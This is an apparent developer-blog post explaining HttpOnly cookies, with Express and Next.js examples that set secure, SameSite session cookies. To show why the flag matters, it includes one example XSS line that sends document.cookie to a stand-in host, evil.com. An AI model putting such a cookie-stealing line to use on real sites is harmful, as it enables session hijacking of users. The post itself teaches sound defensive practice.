BitlystBitlyst
PostsSeriesTopicsAbout

Bitlyst

Short, diagram-first posts on JavaScript, React & Next.js. Follow via RSS or the newsletter.

ยฉ 2026 Mohsen Fallahnejad

PostsSeriesTopicsLinksAboutRSSGitHubX
Posts/cookies
Intermediate3 min read

Understanding HttpOnly Cookies in Depth

How HttpOnly cookies work, why they're essential for security, and how to use them safely in Next.js and Express.

Mohsen Fallahnejad

Mohsen Fallahnejad

Oct 14, 20251 readsDiscuss

๐Ÿช Understanding HttpOnly Cookies

HttpOnly cookies are a type of browser cookie that cannot be accessed via JavaScript.
They are designed to protect sensitive data โ€” especially authentication tokens โ€” from attacks like Cross-Site Scripting (XSS).


๐Ÿ” What Does HttpOnly Mean?#

When you set the HttpOnly flag on a cookie, the browser stores it but never exposes it to document.cookie or JavaScript APIs.

That means:

js
console.log(document.cookie);
// โŒ You will NOT see HttpOnly cookies here.

The cookie still goes to the server automatically with every HTTP request to the same origin.


โš™๏ธ How Browsers Enforce It#

Browsers handle HttpOnly cookies internally:

  1. The server sets a cookie with Set-Cookie header.
  2. The browser stores it securely.
  3. On every request to the same domain/path, the browser attaches the cookie in the Cookie header.
  4. JavaScript cannot read or modify it.

โœ… This prevents attackers from stealing session tokens via injected scripts.


๐Ÿšง Why It's Important#

Without HttpOnly, an attacker who injects JavaScript (via XSS) could do:

js
fetch('https://evil.com?cookie=' + document.cookie);

This would expose your session token.
With HttpOnly, that attack fails.


๐Ÿ’ก Secure + HttpOnly = Best Practice#

You should always combine:

  • HttpOnly โ†’ hides cookie from JavaScript
  • Secure โ†’ only send over HTTPS
  • SameSite โ†’ restricts cross-site sending (helps prevent CSRF)

Example header:

http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

๐Ÿงฑ Example: Express Backend#

js
import express from "express";
import cookieParser from "cookie-parser";

const app = express();
app.use(cookieParser());

app.post("/login", (req, res) => {
  const token = "user_jwt_token_here";
  res.cookie("token", token, {
    httpOnly: true,
    secure: true,
    sameSite: "strict",
  });
  res.send("Logged in!");
});

app.get("/profile", (req, res) => {
  // You can access it on server:
  const token = req.cookies.token;
  res.json({ message: "Token exists?", token: !!token });
});

app.listen(3001, () => console.log("โœ… Express running on port 3001"));

โš›๏ธ Example: Next.js API Route#

ts
// pages/api/login.ts
import type { NextApiRequest, NextApiResponse } from "next";
import { serialize } from "cookie";

export default function handler(req: NextApiRequest, res: NextApiResponse) {
  const token = "jwt_token_here";

  res.setHeader(
    "Set-Cookie",
    serialize("token", token, {
      httpOnly: true,
      secure: process.env.NODE_ENV === "production",
      sameSite: "strict",
      maxAge: 60 * 60 * 24 * 7, // 7 days
      path: "/",
    })
  );

  res.status(200).json({ success: true });
}

Now your cookie is automatically sent with every request โ€” but never visible to document.cookie.


๐Ÿง  Behind the Scenes#

When you refresh the page:

  • Browser checks stored cookies for matching domain/path.
  • Attaches them automatically in the Cookie header.
  • Server reads them and can validate session or JWT.

No need for localStorage or client-side access.

This reduces attack surface dramatically โ€” because even if the client is compromised, tokens arenโ€™t exposed to script access.


โš”๏ธ Common Mistakes#

โŒ Setting cookies in client-side JS โ†’ breaks security
โœ… Always set cookies via Set-Cookie header from server.

โŒ Storing JWTs in localStorage
โœ… Store them in HttpOnly cookies instead.


๐Ÿ” Summary#

FeatureDescriptionPrevents
HttpOnlyHides cookie from JavaScriptXSS
SecureSends only over HTTPSMITM
SameSiteRestricts cross-siteCSRF
Server-set cookieControlled by backendTampering

๐Ÿš€ Key Takeaway#

Store your auth tokens in HttpOnly cookies, not in localStorage.
They protect against XSS by design โ€” one of the simplest and strongest web security patterns.

Filed under#cookies#security#web#nextjs#express

Was this worth your time?

One tap tells me what to write more of.

Mohsen Fallahnejad

Written by

Mohsen Fallahnejad

Frontend engineer explaining JavaScript, React & Next.js internals in posts you can finish over coffee. More about me

X โ†—GitHub โ†—LinkedIn โ†—
โ† OlderReact Fiber Explained: How Reactโ€™s Engine Actually WorksNewer โ†’useTransition Explained: Make React Feel Instant

Start the discussion

Questions, corrections, a better approach? I read and reply to every comment.

Read next

One Line in My Root Layout Turned 158 Static Pages Into 0

Reading a cookie with cookies() in the Next.js root layout opts every route out of static rendering. What it cost this blog, measured, and how to fix a theme flash without it.

Nov 1, 20267 min read3

CORS Explained Simply โ€” Why Your Fetch Works in Postman but Fails in the Browser

Cross-Origin Resource Sharing in plain language: what blocks your request, what preflight means, and how to fix the errors you'll see in every frontend job.

Jul 8, 20266 min read3

Scrolling My Blog Index Prefetched All 51 Posts. One Config Line Cut It to 90 kB.

What a long list of Next.js <Link>s really costs in prefetch requests, measured on this blog, and how partialPrefetching shares one App Shell per route instead.

Nov 3, 20264 min read

Get new posts in your inbox

No spam. Unsubscribe any time.

3 min left
Discuss๐Ÿ‘ React
๐Ÿ‘